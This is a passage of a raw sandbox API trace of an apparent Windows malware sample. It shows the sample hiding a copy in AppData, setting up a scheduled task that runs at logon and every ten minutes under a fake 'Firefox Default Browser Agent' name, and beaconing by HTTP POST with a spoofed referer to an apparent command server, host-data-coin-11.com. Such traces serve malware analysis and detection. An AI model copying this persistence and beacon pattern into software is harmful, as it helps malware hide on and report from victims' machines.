ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0xa3ef0)) returned 1 [0147.011] SetFileTime (hFile=0x1dc0, lpCreationTime=0x1004fe34, lpLastAccessTime=0x1004fe3c, lpLastWriteTime=0x1004fe44) returned 1 [0147.011] CloseHandle (hObject=0x1dc0) returned 1 [0147.011] RtlSizeHeap (HeapHandle=0x9140000, Flags=0x0, MemoryPointer=0x9141860) returned 0x210 [0147.011] RtlFreeHeap (HeapHandle=0x9140000, Flags=0x0, BaseAddress=0x9141860) returned 1 [0147.011] RtlSizeHeap (HeapHandle=0x9140000, Flags=0x0, MemoryPointer=0x9141840) returned 0x16 [0147.011] RtlFreeHeap (HeapHandle=0x9140000, Flags=0x0, BaseAddress=0x9141840) returned 1 [0147.011] RtlAllocateHeap (HeapHandle=0x9140000, Flags=0x8, Size=0x418) returned 0x9141840 [0147.011] lstrcatW (in: lpString1="", lpString2="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\bcatcih" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\bcatcih") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\bcatcih" [0147.011] RtlAllocateHeap (HeapHandle=0x9140000, Flags=0x8, Size=0x212) returned 0x9141c60 [0147.011] GetUserNameW (in: lpBuffer=0x9141c60, pcbBuffer=0x1004fe70 | out: lpBuffer="RDhJ0CNFevzX", pcbBuffer=0x1004fe70) returned 1 [0147.014] RtlAllocateHeap (HeapHandle=0x9140000, Flags=0x8, Size=0x10d) returned 0x9141e80 [0147.015] RtlAllocateHeap (HeapHandle=0x9140000, Flags=0x8, Size=0x4c) returned 0x9141fa0 [0147.016] RtlAllocateHeap (HeapHandle=0x9140000, Flags=0x8, Size=0x10d) returned 0x9142000 [0147.016] wsprintfW (in: param_1=0x9141e80, param_2="Firefox Default Browser Agent %hs" | out: param_1="Firefox Default Browser Agent FE7F15060B875FB9") returned 46 [0147.016] RtlSizeHeap (HeapHandle=0x9140000, Flags=0x0, MemoryPointer=0x9142000) returned 0x10d [0147.016] RtlFreeHeap (HeapHandle=0x9140000, Flags=0x0, BaseAddress=0x9142000) returned 1 [0147.016] RtlSizeHeap (HeapHandle=0x9140000, Flags=0x0, MemoryPointer=0x9141fa0) returned 0x4c [0147.016] RtlFreeHeap (HeapHandle=0x9140000, Flags=0x0, BaseAddress=0x9141fa0) returned 1 [0147.016] CoCreateInstance (in: rclsid=0x421010*(Data1=0xf87369f, Data2=0xa4e5, Data3=0x4cfc, Data4=([0]=0xbd, [1]=0x3e, [2]=0x73, [3]=0xe6, [4]=0x15, [5]=0x45, [6]=0x72, [7]=0xdd)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x421000*(Data1=0x2faba4c7, Data2=0x4da9, Data3=0x4013, Data4=([0]=0x96, [1]=0x97, [2]=0x20, [3]=0xcc, [4]=0x3f, [5]=0xd4, [6]=0xf, [7]=0x85)), ppv=0x1004fd08 | out: ppv=0x1004fd08*=0x3d3eea0) returned 0x0 [0147.770] TaskScheduler:ITaskService:Connect (This=0x3d3eea0, serverName=0x1004fd80*(varType=0x0, wReserved1=0x914, wReserved2=0x0, wReserved3=0x0, varVal1=0x425257, varVal2=0x4107a6), user=0x1004fda0*(varType=0x0, wReserved1=0x914, wReserved2=0x0, wReserved3=0x0, varVal1=0x425257, varVal2=0x4107a6), domain=0x1004fd60*(varType=0x0, wReserved1=0x914, wReserved2=0x0, wReserved3=0x0, varVal1=0x425257, varVal2=0x4107a6), password=0x1004fde0*(varType=0x0, wReserved1=0x914, wReserved2=0x0, wReserved3=0x0, varVal1=0x425257, varVal2=0x4107a6)) returned 0x0 [0147.839] TaskScheduler:ITaskService:GetFolder (in: This=0x3d3eea0, Path="", ppFolder=0x1004fd28 | out: ppFolder=0x1004fd28*=0x3d4d1a0) returned 0x0 [0147.853] ITaskFolder:DeleteTask (This=0x3d4d1a0, Name="Firefox Default Browser Agent FE7F15060B875FB9", flags=0) returned 0x80070002 [0147.854] TaskScheduler:ITaskService:NewTask (in: This=0x3d3eea0, flags=0x0, ppDefinition=0x1004fe40 | out: ppDefinition=0x1004fe40*=0x3d02f50) returned 0x0 [0147.855] ITaskDefinition:get_RegistrationInfo (in: This=0x3d02f50, ppRegistrationInfo=0x1004fd40 | out: ppRegistrationInfo=0x1004fd40*=0x3ced720) returned 0x0 [0147.855] IRegistrationInfo:put_Author (This=0x3ced720, Author="RDhJ0CNFevzX") returned 0x0 [0147.855] IUnknown:Release (This=0x3ced720) returned 0x1 [0147.855] ITaskDefinition:get_Settings (in: This=0x3d02f50, ppSettings=0x1004fd18 | out: ppSettings=0x1004fd18*=0x3ced8a0) returned 0x0 [0147.856] ITaskSettings:put_StartWhenAvailable (This=0x3ced8a0, StartWhenAvailable=1) returned 0x0 [0147.856] IUnknown:Release (This=0x3ced8a0) returned 0x3 [0147.856] ITaskDefinition:get_Triggers (in: This=0x3d02f50, ppTriggers=0x1004fd20 | out: ppTriggers=0x1004fd20*=0x3ce5740) returned 0x0 [0147.857] ITriggerCollection:Create (in: This=0x3ce5740, Type=1, ppTrigger=0x1004fe30 | out: ppTrigger=0x1004fe30*=0x3d029b0) returned 0x0 [0147.857] IUnknown:QueryInterface (in: This=0x3d029b0, riid=0x421030*(Data1=0xb45747e0, Data2=0xeba7, Data3=0x4276, Data4=([0]=0x9f, [1]=0x29, [2]=0x85, [3]=0xc5, [4]=0xbb, [5]=0x30, [6]=0x0, [7]=0x6)), ppvObject=0x1004fd10 | out: ppvObject=0x1004fd10*=0x3d029b0) returned 0x0 [0147.857] ITrigger:get_Repetition (in: This=0x3d029b0, ppRepeat=0x1004fd00 | out: ppRepeat=0x1004fd00*=0x3d58140) returned 0x0 [0147.857] RtlAllocateHeap (HeapHandle=0x9140000, Flags=0x8, Size=0x14) returned 0x9141fa0 [0147.857] IRepetitionPattern:put_Interval (This=0x3d58140, Interval="PT10M") returned 0x0 [0147.857] ITrigger:put_Repetition (This=0x3d029b0, Repetition=0x3d58140) returned 0x0 [0147.857] IUnknown:Release (This=0x3d58140) returned 0x1 [0147.857] RtlAllocateHeap (HeapHandle=0x9140000, Flags=0x8, Size=0x30) returned 0x9141fc0 [0147.858] ITrigger:put_StartBoundary (This=0x3d029b0, StartBoundary="1999-11-30T00:00:00") returned 0x0 [0147.858] IUnknown:Release (This=0x3d029b0) returned 0x2 [0147.858] RtlSizeHeap (HeapHandle=0x9140000, Flags=0x0, MemoryPointer=0x9141fc0) returned 0x30 [0147.858] RtlFreeHeap (HeapHandle=0x9140000, Flags=0x0, BaseAddress=0x9141fc0) returned 1 [0147.858] RtlSizeHeap (HeapHandle=0x9140000, Flags=0x0, MemoryPointer=0x9141fa0) returned 0x14 [0147.858] RtlFreeHeap (HeapHandle=0x9140000, Flags=0x0, BaseAddress=0x9141fa0) returned 1 [0147.859] IUnknown:Release (This=0x3d029b0) returned 0x1 [0147.859] ITriggerCollection:Create (in: This=0x3ce5740, Type=9, ppTrigger=0x1004fe30 | out: ppTrigger=0x1004fe30*=0x3cfc6e0) returned 0x0 [0147.859] IUnknown:QueryInterface (in: This=0x3cfc6e0, riid=0x421020*(Data1=0x72dade38, Data2=0xfae4, Data3=0x4b3e, Data4=([0]=0xba, [1]=0xf4, [2]=0x5d, [3]=0x0, [4]=0x9a, [5]=0xf0, [6]=0x2b, [7]=0x1c)), ppvObject=0x1004fd00 | out: ppvObject=0x1004fd00*=0x3cfc6e0) returned 0x0 [0147.860] ILogonTrigger:put_UserId (This=0x3cfc6e0, UserId="RDhJ0CNFevzX") returned 0x0 [0147.866] IUnknown:Release (This=0x3cfc6e0) returned 0x2 [0147.866] IUnknown:Release (This=0x3cfc6e0) returned 0x1 [0147.866] ITaskDefinition:get_Actions (in: This=0x3d02f50, ppActions=0x1004fd30 | out: ppActions=0x1004fd30*=0x3d4d020) returned 0x0 [0147.866] IActionCollection:Create (in: This=0x3d4d020, Type=0, ppAction=0x1004fd48 | out: ppAction=0x1004fd48*=0x3ce5820) returned 0x0 [0147.866] IUnknown:Release (This=0x3d4d020) returned 0x1 [0147.866] IUnknown:QueryInterface (in: This=0x3ce5820, riid=0x421040*(Data1=0x4c3d624d, Data2=0xfd6b, Data3=0x49a3, Data4=([0]=0xb9, [1]=0xb7, [2]=0x9, [3]=0xcb, [4]=0x3c, [5]=0xd3, [6]=0xf0, [7]=0x47)), ppvObject=0x1004fd38 | out: ppvObject=0x1004fd38*=0x3ce5820) returned 0x0 [0147.866] IExecAction:put_Path (This=0x3ce5820, Path="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\bcatcih") returned 0x0 [0147.866] IUnknown:Release (This=0x3ce5820) returned 0x2 [0147.867] ITaskFolder:RegisterTaskDefinition (in: This=0x3d4d1a0, Path="Firefox Default Browser Agent FE7F15060B875FB9", pDefinition=0x3d02f50, flags=6, UserId=0x1004fd60*(varType=0x0, wReserved1=0x914, wReserved2=0x0, wReserved3=0x0, varVal1=0x425257, varVal2=0x4107a6), password=0x1004fda0*(varType=0x0, wReserved1=0x914, wReserved2=0x0, wReserved3=0x0, varVal1=0x425257, varVal2=0x4107a6), LogonType=3, sddl=0x1004fd80*(varType=0x0, wReserved1=0x914, wReserved2=0x0, wReserved3=0x0, varVal1=0x425257, varVal2=0x4107a6), ppTask=0x1004fd00 | out: ppTask=0x1004fd00*=0x3ced420) returned 0x0 [0151.319] IUnknown:Release (This=0x3ce5820) returned 0x1 [0151.320] IUnknown:Release (This=0x3ce5740) returned 0x1 [0151.320] TaskScheduler:IUnknown:Release (This=0x3d02f50) returned 0x0 [0151.320] TaskScheduler:IUnknown:Release (This=0x3d4d1a0) returned 0x0 [0151.320] TaskScheduler:IUnknown:Release (This=0x3d3eea0) returned 0x0 [0151.320] RtlSizeHeap (HeapHandle=0x9140000, Flags=0x0, MemoryPointer=0x9141e80) returned 0x10d [0151.320] RtlFreeHeap (HeapHandle=0x9140000, Flags=0x0, BaseAddress=0x9141e80) returned 1 [0151.320] RtlSizeHeap (HeapHandle=0x9140000, Flags=0x0, MemoryPointer=0x9141840) returned 0x418 [0151.321] RtlFreeHeap (HeapHandle=0x9140000, Flags=0x0, BaseAddress=0x9141840) returned 1 [0151.321] RtlSizeHeap (HeapHandle=0x9140000, Flags=0x0, MemoryPointer=0x9141c60) returned 0x212 [0151.321] RtlFreeHeap (HeapHandle=0x9140000, Flags=0x0, BaseAddress=0x9141c60) returned 1 [0151.321] CreateFileW (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\bcatcih" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\bcatcih"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d94 [0151.321] CreateFileMappingA (hFile=0x0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xfa000, lpName="FE7F15060B875FB9FB2A49F08D5D03120C287F38FF") returned 0x1ee0 [0151.321] RtlAllocateHeap (HeapHandle=0x9140000, Flags=0x8, Size=0x26) returned 0x9141840 [0151.322] CreateFileW (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\wvhwbfa" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\wvhwbfa"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff [0151.322] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x49419699 [0151.322] RtlAllocateHeap (HeapHandle=0x9140000, Flags=0x8, Size=0x79) returned 0x9141870 [0151.322] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xc9bf8445 [0151.322] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x5aabd711 [0151.322] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xb3e0084b [0151.322] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x7cd75c63 [0151.322] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xd7b5cfe9 [0151.322] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xf4f29f2f [0151.322] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x93a8bf46 [0151.322] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x71227af4 [0151.322] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x6f3896c1 [0151.322] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x557a294d [0151.322] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x1e0757d [0151.322] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x5689d61a [0151.322] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x49ecc656 [0151.322] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x868899b3 [0151.322] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xdd38711d [0151.322] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xed3f931d [0151.322] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x11c7f30d [0151.322] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xaa51df71 [0151.323] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x3775d7b5 [0151.323] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x1f5ef4a1 [0151.323] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x1770da3c [0151.323] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x33de52e0 [0151.323] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x66b7b595 [0151.323] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x194801c0 [0151.323] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xe76b436c [0151.323] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xf0a46445 [0151.323] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x4358f559 [0151.323] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x6cc63570 [0151.323] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x9f4625bf [0151.323] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x56e2dadb [0151.323] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xaed8c52a [0151.323] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x28d67d8b [0151.323] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x549965a5 [0151.323] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x3fc74b90 [0151.323] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x2cfbe2c1 [0151.323] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x7af7fc1f [0151.323] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x66a85f81 [0151.323] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x4d0f551e [0151.323] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x50f0e499 [0151.323] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xe46ec1f2 [0151.323] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x4f60ad6e [0151.323] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x9c87870b [0151.323] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x6f721b52 [0151.323] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x45c6ca1f [0151.323] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xe944d44c [0151.323] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x1ad37475 [0151.323] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xabff09d2 [0151.323] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xafda18bf [0151.323] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x163ecd0e [0151.323] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xbcfe9e3d [0151.324] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xdd6a64fc [0151.324] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xc2eefdad [0151.324] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x77636bec [0151.324] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xe825e9c6 [0151.324] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xafa68fd8 [0151.324] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xa9bf9a07 [0151.324] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xbaa37608 [0151.324] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xe138995 [0151.324] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x1904574 [0151.324] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x8bcb83ab [0151.324] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xcaf92563 [0151.324] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xb2f1e826 [0151.324] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x8e341898 [0151.324] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x2a35b046 [0151.324] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x98abd11e [0151.324] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x2bcbfd7d [0151.324] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xae25cef4 [0151.324] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xda4ff47d [0151.324] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x40c38e5f [0151.324] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x5bd8a2a9 [0151.324] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xa01f9 [0151.324] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xa1fa7417 [0151.324] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x148992d8 [0151.324] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xfa2ab7a2 [0151.324] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x9b9cfecb [0151.324] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xe0415b1c [0151.324] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xe11478bd [0151.324] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x40a9bc6e [0151.324] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x77e48f7a [0151.324] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xa78e22e8 [0151.324] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xc3d5fbfe [0151.324] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x1a95dbd5 [0151.324] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x11f8aaab [0151.324] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x2ccc0231 [0151.325] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x35829901 [0151.325] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xdae2c4d1 [0151.325] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xca11ceeb [0151.325] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x645f8409 [0151.325] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xec70005b [0151.325] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xdbed9bb3 [0151.325] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x9ab8edf7 [0151.325] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x7cb01432 [0151.325] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x4a70a073 [0151.325] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x1130696d [0151.325] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x8f0c8fe1 [0151.325] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x87801237 [0151.325] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x4f32d48 [0151.325] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xc70f54a4 [0151.325] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xf0031f73 [0151.325] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xeebd0eb4 [0151.325] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x9cd8ba46 [0151.325] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x8a5f1c16 [0151.325] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x263879cb [0151.325] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xc0459745 [0151.325] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xc68180fe [0151.325] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xeda71ee6 [0151.325] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x493322eb [0151.325] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xe9e2c4d7 [0151.325] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xdc0fe945 [0151.325] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xff212948 [0151.325] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xb6a4fe10 [0151.325] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x4e0aa126 [0151.325] RtlAllocateHeap (HeapHandle=0x9140000, Flags=0x8, Size=0xc8) returned 0x9141900 [0151.326] lstrcatA (in: lpString1="", lpString2="FE7F15060B875FB9FB2A49F08D5D03120C287F38" | out: lpString1="FE7F15060B875FB9FB2A49F08D5D03120C287F38") returned="FE7F15060B875FB9FB2A49F08D5D03120C287F38" [0151.326] lstrcatA (in: lpString1="", lpString2="XC64ZB" | out: lpString1="XC64ZB") returned="XC64ZB" [0151.326] lstrcatA (in: lpString1="", lpString2="pub1" | out: lpString1="pub1") returned="pub1" [0151.326] lstrcatA (in: lpString1="", lpString2="t.rDJP'QNXP=Gn\\hFnLDG90So$fE(\\/V8O*F\\-heenaD%&]VQ@%$E++Jgp]\\n/g;s*1r@VDv9U`3zcKq=(6zFHlTRv<+,*LT%-\\'y=j^%a`0ZYm#" | out: lpString1="t.rDJP'QNXP=Gn\\hFnLDG90So$fE(\\/V8O*F\\-heenaD%&]VQ@%$E++Jgp]\\n/g;s*1r@VDv9U`3zcKq=(6zFHlTRv<+,*LT%-\\'y=j^%a`0ZYm#") returned="t.rDJP'QNXP=Gn\\hFnLDG90So$fE(\\/V8O*F\\-heenaD%&]VQ@%$E++Jgp]\\n/g;s*1r@VDv9U`3zcKq=(6zFHlTRv<+,*LT%-\\'y=j^%a`0ZYm#" [0151.326] RtlAllocateHeap (HeapHandle=0x9140000, Flags=0x8, Size=0x10c) returned 0x91419d0 [0151.326] lstrlenA (lpString="http://host-data-coin-11.com/") returned 29 [0151.326] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x9141840, cbMultiByte=30, lpWideCharStr=0x91419d0, cchWideChar=60 | out: lpWideCharStr="http://host-data-coin-11.com/") returned 30 [0151.326] WinHttpGetIEProxyConfigForCurrentUser (in: pProxyConfig=0x1004fc18 | out: pProxyConfig=0x1004fc18) returned 1 [0151.350] WinHttpOpen (pszAgentW="Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko", dwAccessType=0x0, pszProxyW=0x0, pszProxyBypassW=0x0, dwFlags=0x0) returned 0x86586c0 [0151.370] WinHttpCrackUrl (in: pwszUrl="http://host-data-coin-11.com/", dwUrlLength=0x0, dwFlags=0x0, lpUrlComponents=0x1004fcd0 | out: lpUrlComponents=0x1004fcd0) returned 1 [0151.370] WinHttpConnect (hSession=0x86586c0, pswzServerName="host-data-coin-11.com", nServerPort=0x50, dwReserved=0x0) returned 0x86aae60 [0151.370] RtlAllocateHeap (HeapHandle=0x9140000, Flags=0x8, Size=0x12) returned 0x9141af0 [0151.370] RtlAllocateHeap (HeapHandle=0x9140000, Flags=0x8, Size=0x68) returned 0x9141b10 [0151.370] WinHttpOpenRequest (hConnect=0x86aae60, pwszVerb="POST", pwszObjectName="/", pwszVersion=0x0, pwszReferrer=0x0, ppwszAcceptTypes=0x0, dwFlags=0x0) returned 0x57aa80 [0151.370] RtlAllocateHeap (HeapHandle=0x9140000, Flags=0x8, Size=0x4e) returned 0x9141b80 [0151.370] RtlAllocateHeap (HeapHandle=0x9140000, Flags=0x8, Size=0x10d) returned 0x9141be0 [0151.370] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xe84bbc00 [0151.370] RtlAllocateHeap (HeapHandle=0x9140000, Flags=0x8, Size=0x12) returned 0x9141d00 [0151.370] RtlAllocateHeap (HeapHandle=0x9140000, Flags=0x8, Size=0x17) returned 0x9141d20 [0151.370] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x2cc43746 [0151.371] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x6ecdb1b4 [0151.371] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xafdabf48 [0151.371] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x5e112f30 [0151.371] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x4cb26cbc [0151.371] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x29df9591 [0151.371] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x732cb30 [0151.371] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xc2755569 [0151.371] wsprintfW (in: param_1=0x9141be0, param_2="Accept: */*\r\nReferer: http://%S%s/" | out: param_1="Accept: */*\r\nReferer: http://hqvkxdg.com/") returned 41 [0151.371] RtlSizeHeap (HeapHandle=0x9140000, Flags=0x0, MemoryPointer=0x9141d20) returned 0x17 [0151.371] RtlFreeHeap (HeapHandle=0x9140000, Flags=0x0, BaseAddress=0x9141d20) returned 1 [0151.371] RtlSizeHeap (HeapHandle=0x9140000, Flags=0x0, MemoryPointer=0x9141d00) returned 0x12 [0151.371] RtlFreeHeap (HeapHandle=0x9140000, Flags=0x0, BaseAddress=0x9141d00) returned 1 [0151.371] RtlSizeHeap (HeapHandle=0x9140000, Flags=0x0, MemoryPointer=0x9141b80) returned 0x4e [0151.371] RtlFreeHeap (HeapHandle=0x9140000, Flags=0x0, BaseAddress=0x9141b80) returned 1 [0151.372] WinHttpAddRequestHeaders (hRequest=0x57aa80, pwszHeaders="Accept: */*\r\nReferer: http://hqvkxdg.com/", dwHeadersLength=0xffffffff, dwModifiers=0x20000000) returned 1 [0151.372] WinHttpSendRequest (hRequest=0x57aa80, lpszHeaders="Content-Type: application/x-www-form-urlencoded", dwHeadersLength=0x0, lpOptional=0x9141900*, dwOptionalLength=0xbf, dwTotalLength=0xbf, dwContext=0x0) returned 1 [0152.595] WinHttpReceiveResponse (hRequest=0x57aa80, lpReserved=0x0) returned 1 [0152.596] RtlAllocateHeap (HeapHandle=0x9140000, Flags=0x8, Size=0x2800) returned 0x9141d00 [0152.597] WinHttpReadData (in: hRequest=0x57aa80, lpBuffer=0x9141d00, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x1004fd88 | out: lpBuffer=0x9141d00*, lpdwNumberOfBytesRead=0x1004fd88*=0x18) returned 1 [0152.599] RtlReAllocateHeap (Heap=0x9140000, Flags=0x8, Ptr=0x9141d00, Size=0x5000) returned 0x9144510 [0152.601] WinHttpReadData (in: hRequest=0x57aa80, lpBuffer=0x9144528, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x1004fd88 | out: lpBuffer=0x9144528*, lpdwNumberOfBytesRead=0x1004fd88*=0x0) returned 1 [0152.601] VirtualAlloc (lpAddress=0x0, dwSize=0x18, flAllocationType=0x3000, flProtect=0x4) returned 0x460000 [0152.603] RtlFreeHeap (HeapHandle=0x9140000, Flags=0x0, BaseAddress=0x9144510) returned 1 [0152.603] WinHttpCloseHandle 